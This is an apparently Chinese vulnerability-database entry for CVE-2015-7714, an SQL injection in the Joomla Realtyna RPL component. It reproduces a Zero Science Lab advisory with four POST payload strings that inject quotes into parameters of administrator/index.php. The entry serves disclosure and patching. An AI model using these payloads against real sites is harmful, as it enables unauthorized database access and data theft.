Joomla! Realtyna RPL (com_rpl) SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1123072 漏洞类型 SQL注入
发布时间 2015-10-23 更新时间 2020-07-31
CVE编号 CVE-2015-7714 CNNVD-ID CNNVD-201710-611
漏洞平台 PHP CVSS评分 6.5
|漏洞来源
https://www.exploit-db.com/exploits/38527
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201710-611
|漏洞详情
Joomla!是美国Open Source Matters团队开发的一套开源的内容管理系统(CMS),该系统提供RSS馈送、网站搜索等功能。Realtyna RPL(com_rpl)component是其中的一个房地产信息组件。 Joomla! Realtyna RPL (com_rpl)组件8.9.5之前的版本中存在SQL注入漏洞。远程攻击者可通过向administrator/index.php文件发送‘id’、‘copy_field’、‘pshow’、‘css’、‘tip’、‘cat_id’、‘text_search’、‘plisting’或‘pwizard parameter’参数利用该漏洞执行任意的SQL命令。
|漏洞EXP
Realtyna RPL 8.9.2 Joomla Extension Multiple SQL Injection Vulnerabilities


Vendor: Realtyna LLC
Product web page: https://www.realtyna.com
Affected version: 8.9.2

Summary: Realtyna CRM (Client Relationship Management) Add-on
for RPL is a Real Estate CRM specially designed and developed
based on business process and models required by Real Estate
Agents/Brokers. Realtyna CRM intends to increase the Conversion
Ratio of the website Visitors to Leads and then Leads to Clients.


Desc: Realtyna RPL suffers from multiple SQL Injection vulnerabilities.
Input passed via multiple POST parameters is not properly sanitised
before being returned to the user or used in SQL queries. This can
be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache
           PHP/5.4.38
		   MySQL/5.5.42-cll	

Vulnerability discovered by Bikramaditya 'PhoenixX' Guha


Advisory ID: ZSL-2015-5272
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5272.php
Vendor: http://rpl.realtyna.com/Change-Logs/RPL7-Changelog
CVE ID: CVE-2015-7714
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7714


05.10.2015

--


http://localhost/administrator/index.php
POST parameters: id, copy_field, pshow, css, tip, cat_id, text_search, plisting, pwizard

Payloads:

- option=com_rpl&view=addon_membership_members&format=edit&id=84'
- option=com_rpl&view=property_structure&format=ajax&function=new_field&id=3004'&type=text
- option=com_rpl&view=rpl_multilingual&format=ajax&function=data_copy&copy_field=308'&copy_from=&copy_to=en_gb&copy_method=1
- option=com_rpl&view=property_structure&format=ajax&function=update_field&id=3002&options=0&css=&tip=&style=&name=&cat_id=1&text_search=0&plisting=0&pshow=1'&pwizard=1&mode=add
|参考资料

来源:MISC
链接:http://packetstormsecurity.com/files/134066/Realtyna-RPL-8.9.2-SQL-Injection.html
来源:CONFIRM
链接:http://rpl.realtyna.com/change-logs/rpl7-changelog
来源:MISC
链接:http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5272.php
来源:EXPLOIT-DB
链接:https://www.exploit-db.com/exploits/38527/